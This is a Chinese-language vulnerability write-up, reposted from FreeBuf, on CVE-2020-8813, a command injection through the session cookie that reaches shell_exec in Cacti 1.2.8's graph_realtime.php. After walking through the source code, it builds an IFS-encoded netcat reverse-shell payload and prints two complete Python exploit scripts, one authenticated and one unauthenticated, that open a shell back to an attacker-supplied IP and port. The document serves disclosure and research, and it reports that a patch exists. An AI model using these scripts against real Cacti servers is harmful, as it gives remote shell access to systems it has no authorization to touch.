关于Cacti
Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能,可以指定每一个用户能查看树状结构、host以及任何一张图,还可以与LDAP结合进行用户验证,同时也能自己增加模板,功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件,除了基本的 Snmp 流量跟系统资讯监控外,Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。
cacti是用php语言实现的一个软件,它的主要功能是用snmp服务获取数据,然后用rrdtool储存和更新数据,当用户需要查看数据的时候用rrdtool生成图表呈现给用户。因此,snmp和rrdtool是cacti的关键。Snmp关系着数据的收集,rrdtool关系着数据存储和图表的生成。
漏洞利用分析
我在分析Cacti主要代码中的多个功能函数时,发现了这个漏洞。我需要结合多个漏洞利用因素才能实现代码执行,当攻击者尝试向“Cacti”这个Cookie变量中注入恶意代码时,便会触发这个漏洞,而这个变量在与一些字符串合并之后将会被传递给shell_exec函数。但是当我尝试修改这个cookie值时遇到了身份验证的问题,而这个问题使我无法访问到目标页面,但是我发现这个包含漏洞的页面是能够以“Guest”身份访问的,这样就不需要进行身份验证了,所以我修改了漏洞利用代码,并使用“Guest”身份来访问页面“graph_realtime.php”,然后发送恶意请求来在目标主机上实现代码执行。
首先,我们需要向“user_admin.php”页面发送一个请求来启用“realtime_graph”的访客权限,然后再向“graph_realtime.php”页面发送恶意请求。
接下来,我使用了这个常用的RCE扫描脚本【RECScanner】来在Cacti中搜索RCE漏洞。
运行脚本后,我在“graph_realtime.php”文件中发现了一个非常有意思的东西:
graph_realtime.php
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
我们可以看到上述代码中的第4和第5行,我们收到了一些参数,还有一个名叫“get_request_var”的函数,该函数的作用如下:
html_utility.php
function get_request_var($name, $default = '') { global $_CACTI_REQUEST; $log_validation = read_config_option('log_validation'); if (isset($_CACTI_REQUEST[$name])) { return $_CACTI_REQUEST[$name]; } elseif (isset_request_var($name)) { if ($log_validation == 'on') { html_log_input_error($name); } set_request_var($name, $_REQUEST[$name]); return $_REQUEST[$name]; } else { return $default; } }
我们可以看到,这个函数可以处理输入数据并通过函数“set_request_var”来设置参数值,而这个函数的相关代码如下:
html_utility.php
function set_request_var($variable, $value) { global $_CACTI_REQUEST; $_CACTI_REQUEST[$variable] = $value; $_REQUEST[$variable] = $value; $_POST[$variable] = $value; $_GET[$variable] = $value; }
接下来,回到我们的“graph_realtime.php”页面,我们可以控制下列输入:
local_graph_id The value of $graph_data_array[‘ds_step’]
但是,我们注意到“graph_realtime.php”文件中的第4行,它使用了sprintf()函数来处理输入,而第一个值“graph”的内容为“local_graph_id”,而这个值是我们可以控制的!又但是,一个名叫“get_filter_request_var”的函数会对这个值进行过滤,我们可以看到,它在“graph_realtime.php”中已经被过滤了:
html_utility.php
function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) { if (isset_request_var($name)) { if (isempty_request_var($name)) { set_request_var($name, get_nfilter_request_var($name)); return get_request_var($name); } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { set_request_var($name, ''); return ''; } } else { if (get_nfilter_request_var($name) == '0') { $value = '0'; } elseif (get_nfilter_request_var($name) == 'undefined') { if (isset($options['default'])) { $value = $options['default']; } else { $value = ''; } } elseif (isempty_request_var($name)) { $value = ''; } elseif ($filter == FILTER_VALIDATE_IS_REGEX) { if (is_base64_encoded($_REQUEST[$name])) { $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name])); } $valid = validate_is_regex($_REQUEST[$name]); if ($valid === true) { $value = $_REQUEST[$name]; } else { $value = false; $custom_error = $valid; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) { $valid = true; if (is_array($_REQUEST[$name])) { foreach($_REQUEST[$name] AS $number) { if (!is_numeric($number)) { $valid = false; break; } } } else { $valid = false; } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) { $valid = true; $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY); foreach($values AS $number) { if (!is_numeric($number)) { $valid = false; break; } } if ($valid == true) { $value = $_REQUEST[$name]; } else { $value = false; } } elseif (!cacti_sizeof($options)) { $value = filter_var($_REQUEST[$name], $filter); } else { $value = filter_var($_REQUEST[$name], $filter, $options); } } if ($value === false) { if ($filter == FILTER_VALIDATE_IS_REGEX) { $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error)); set_request_var($name, ''); raise_message('custom_error'); } else { die_html_input_error($name, get_nfilter_request_var($name)); } } else { set_request_var($name, $value); return $value; } } else { if (isset($options['default'])) { set_request_var($name, $options['default']); return $options['default']; } else { return; } } }
这个函数将会对输入数据进行过滤,然后返回一个“干净的”变量并传递给下一个函数。
对于第二个变量“$graph_data_array[‘ds_step’]”,它已经通过sprintf()进行处理了(%d),这也就意味着它会变成一个十进制值,所以我们无法用它来注入我们的恶意命令。
接下来,我们再看看下面这段代码:
graph_realtime.php
/* call poller */ $graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png'; $command = read_config_option('path_php_binary'); $args = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']); shell_exec("$command $args"); /* construct the image name */ $graph_data_array['export_realtime'] = $graph_rrd; $graph_data_array['output_flag'] = RRDTOOL_OUTPUT_GRAPH_DATA; $null_param = array();
我们看到了另一个传递给shell_exec函数的变量,而这个变量的值就是session_id()函数返回的值,这个函数可以返回当前用户会话的值,也就是说,我们可以用它来注入我们的命令。
等一下,如果我们修改了会话,那我们就无法访问目标页面了,因为这个页面要求用户在经过了身份验证之后才能访问。研究之后我又发现,如果我们启用了一个名叫“Realtime Graphs”的特殊权限之后,我们就能够以访客身份访问这个页面了:
接下来,我们尝试在不开启“Guest Realtime Graphs”权限的情况下访问该页面:
正如我们所见,由于权限问题,我们现在无法访问这个页面,现在我们重新开启该权限,然后访问该页面:
很好,接下来我们发送“graph_realtime.php”页面请求,然后在代码中添加一条“echo”语句来输出传递给shell_exec函数的值:
如图所示,我们将会话打印了出来,接下来我们尝试向会话中注入自定义字符串:
非常好,我们成功实现了注入。
Payload开发
成功控制了会话值之后,我们需要用它来在目标系统中实现代码执行,但由于它本质上还是一个会话值,因此我们无法使用一些特殊字符,所以我们需要开发一个“对会话友好的”Payload。
比如说,如果对字符串“Hi Payload”进行编码,然后传递给应用程序,我们将会看到:
我们可以看到,应用程序设置了一个Cookie给我们,而不是我们所注入的那个,为了解决这个问题,我们需要使用一个自定义的Payload。
为了避免使用空格字符,我打算使用“${IFS}”这个Bash变量来代表一个空格。
当然了,我们还需要使用“;”来转义命令:
;payload
如果我们想使用netcat来获取一个Shell,我们还需要创建下列Payload:
;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
我们先对Payload进行编码:
然后将其发送给应用程序:
很好,我们的Payload执行成功了,并拿到了一个Shell。
漏洞利用代码
为了实现整个漏洞利用的自动化过程,我编写了一个Python脚本来利用该漏洞:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 6: print("[~] Usage : ./Cacti-exploit.py url username password ip port") exit() url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] def login(token): login_info = { "login_username": username, "login_password": password, "action": "login", "__csrf_magic": token } login_request = request.post(url+"/index.php", login_info) login_text = login_request.text if "Invalid User Name/Password Please Retype" in login_text: return False else: return True def enable_guest(token): request_info = { "id": "3", "section25": "on", "section7": "on", "tab": "realms", "save_component_realm_perms": 1, "action": "save", "__csrf_magic": token } enable_request = request.post(url+"/user_admin.php?header=false", request_info) if enable_request: return True else: return False def send_exploit(): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} requests.get(url+"/graph_realtime.php?action=init", cookies=cookies) request = requests.session() print("[+]Retrieving login CSRF token") page = request.get(url+"/index.php") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[0].get("value") if token: print("[+]Token Found : %s" % token) print("[+]Sending creds ..") login_status = login(token) if login_status: print("[+]Successfully LoggedIn") print("[+]Retrieving CSRF token ..") page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms") html_content = page.text soup = BeautifulSoup(html_content, "html5lib") token = soup.findAll('input')[1].get("value") if token: print("[+]Making some noise ..") guest_realtime = enable_guest(token) if guest_realtime: print("[+]Sending malicous request, check your nc ;)") send_exploit() else: print("[-]Error while activating the malicous account") else: print("[-] Unable to retrieve CSRF token from admin page!") exit() else: print("[-]Cannot Login!") else: print("[-] Unable to retrieve CSRF token!") exit()
运行了漏洞利用代码之后,我们将会看到:
再一次成功拿到了Shell!
未经身份认证的漏洞利用
如果Cacti启用了“Guest Realtime Graphs”权限,那么我们就可以在未经身份验证的情况下利用该漏洞了。下面给出的是这种场景下的漏洞利用代码:
#!/usr/bin/python3 # Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution # Date: 03/02/2020 # Exploit Author: Askar (@mohammadaskar2) # CVE: CVE-2020-8813 # Vendor Homepage: https://cacti.net/ # Version: v1.2.8 # Tested on: CentOS 7.3 / PHP 7.1.33 import requests import sys import warnings from bs4 import BeautifulSoup from urllib.parse import quote warnings.filterwarnings("ignore", category=UserWarning, module='bs4') if len(sys.argv) != 4: print("[~] Usage : ./Cacti-exploit.py url ip port") exit() url = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] def send_exploit(url): payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port) cookies = {'Cacti': quote(payload)} path = url+"/graph_realtime.php?action=init" req = requests.get(path) if req.status_code == 200 and "poller_realtime.php" in req.text: print("[+] File Found and Guest is enabled!") print("[+] Sending malicous request, check your nc ;)") requests.get(path, cookies=cookies) else: print("[+] Error while requesting the file!") send_exploit(url)
我们可以看到,在这种场景下同样能够成功利用该漏洞。
漏洞披露
在发现该问题之后,我们便将完整的PoC上报给了Cacti的团队,他们也在第一时间修复了该漏洞并发布了漏洞补丁,从Cacti v1.2.10开始将不再受此漏洞的影响。
* 参考来源:shells,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
![2a8a1ed807852e21c44d44f628ca26b6.gif](https://i-blog.csdnimg.cn/blog_migrate/95c333ba3f0c0f834ffed72c3605315f.gif)
精彩推荐
![9c932fb5f5d5946dec8bbf60b2f8d80b.png](https://i-blog.csdnimg.cn/blog_migrate/ca4a3d5224c558c313d915b5c0b3a642.jpeg)